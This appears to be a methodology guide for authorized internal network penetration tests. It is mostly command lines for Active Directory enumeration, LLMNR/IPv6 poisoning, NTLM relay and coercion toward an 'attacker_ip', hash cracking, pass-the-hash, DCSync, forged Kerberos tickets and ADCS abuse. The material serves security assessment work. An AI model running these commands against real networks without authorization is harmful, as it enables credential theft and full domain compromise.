Conducting Internal Network Penetration Test

Conducting Internal Network Penetration Test

Overview

An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint.

When to Use

• When conducting security assessments that involve conducting internal network penetration test
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Most Often Missed & How to Confirm

• Name-resolution poisoning beyond LLMNR — testers run Responder for LLMNR/NBT-NS but skip mDNS and, critically, IPv6/DHCPv6 takeover with mitm6 (modern networks are dual-stack and WPAD/IPv6 is often wide open). Run both, on every VLAN.
• NTLM relay instead of just cracking — capturing a hash and only trying to crack it misses the easy win: relay to SMB (signing disabled), LDAP/LDAPS (for ADCS ESC8 / RBCD), or HTTP. Coerce auth with PetitPotam/PrinterBug/Coercer to force a DC or server to authenticate.
• AD attack paths people skip — AS-REP roasting (not just Kerberoasting), unconstrained/constrained/RBCD delegation, ADCS templates (ESC1-ESC8 via certipy), and GPP cpassword in SYSVOL. Always run BloodHound and follow the shortest-path-to-DA graph, not ad-hoc guessing.
• Local admin password reuse / LAPS gaps — pass-the-hash the local admin across the subnet; one shared local admin = mass lateral movement.
• Segmentation and "boring" services — verify VLAN isolation actually holds (can the user VLAN reach the server/OT/management VLAN?), and check SNMP public, NFS exports, and unauthenticated MSSQL/Redis.
• How to confirm: prove each finding with concrete evidence — a captured NTLMv2 hash file, a cracked credential, a BloodHound path screenshot, a successful relay session, or a certipy request yielding a TGT/cert for a higher-priv user. Don't conclude SMB signing or relay is not exploitable until you have checked signing status (netexec smb --gen-relay-list) and attempted coercion; don't conclude "no Kerberoast" is the whole AD story until you have also tested AS-REP, delegation, and ADCS.

Prerequisites

• Signed Rules of Engagement with internal network scope
• Network access: physical Ethernet drop or VPN connection to internal VLAN
• Standard domain user credentials (assumed breach model) or unauthenticated access
• Testing laptop with Kali Linux, Impacket, Responder, BloodHound
• Coordination with IT/SOC for monitoring and emergency contacts

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Phase 1 — Network Discovery and Enumeration

Initial Network Reconnaissance

# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf

# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0

# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap

# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt

# Port scan live hosts — top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan

# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap

Active Directory Enumeration

# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups

# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf

# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa

# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis

# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'

Network Service Enumeration

# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R

# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1

# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5

# NFS enumeration
showmount -e 10.0.0.15

# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth

Phase 2 — Credential Attacks

Network Credential Capture

# Responder — LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv

# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt

# mitm6 — IPv6 DNS takeover
sudo mitm6 -d corp.local

# ntlmrelayx — relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks

# PetitPotam — coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
  attacker_ip 10.0.0.5

Password Attacks

# Crack captured NTLMv2 hashes
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Password spraying (careful with lockout policies)
netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce
netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce

# Kerberoasting — target service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# AS-REP Roasting — target accounts without pre-auth
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Phase 3 — Exploitation and Lateral Movement

Lateral Movement Techniques

# Pass-the-Hash with Impacket
impacket-psexec 'corp.local/admin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b

# WMI execution
impacket-wmiexec 'corp.local/admin:AdminPass123@10.0.0.30'

# Evil-WinRM for PowerShell remoting
evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'

# SMBExec
impacket-smbexec 'corp.local/admin:AdminPass123@10.0.0.30'

# RDP access
xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution

# SSH pivoting
ssh -D 9050 user@10.0.0.40
proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24

Privilege Escalation

# Windows privilege escalation
# Check for local admin via token impersonation
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester

# PowerShell-based privesc checks
# Run PowerUp
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"

# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """

# Linux privilege escalation
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab

Domain Escalation

# DCSync attack (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc

# Golden Ticket attack
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator

# Silver Ticket attack
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/db01.corp.local administrator

# ADCS exploitation (Certifried, ESC1-ESC8)
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5
certipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \
  -template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local

Phase 4 — Data Access and Impact Demonstration

# Access sensitive file shares
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123'
> dir
> get Q4_Financial_Report.xlsx

# Database access
impacket-mssqlclient 'sa:DbPassword123@10.0.0.20'
SQL> SELECT name FROM sys.databases;
SQL> SELECT TOP 10 * FROM customers;

# Extract proof of access (DO NOT exfiltrate real data)
echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt

# Document access chain
# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01
# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise

Phase 5 — Reporting

Attack Path Documentation

Attack Path 1: Domain Compromise via LLMNR Poisoning
  Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001)
  Step 2: Hash cracked offline — user: jsmith, password: Welcome2025!
  Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002)
  Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)
  Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006)
  Impact: Complete domain compromise from unauthenticated network position

Findings Severity Matrix

Tools Reference

References

• Cobalt Internal Network Pentesting Methodology: https://docs.cobalt.io/methodologies/internal-network/
• MITRE ATT&CK Enterprise: https://attack.mitre.org/matrices/enterprise/
• PTES: http://www.pentest-standard.org/
• Impacket: https://github.com/fortra/impacket
• BloodHound: https://github.com/BloodHoundAD/BloodHound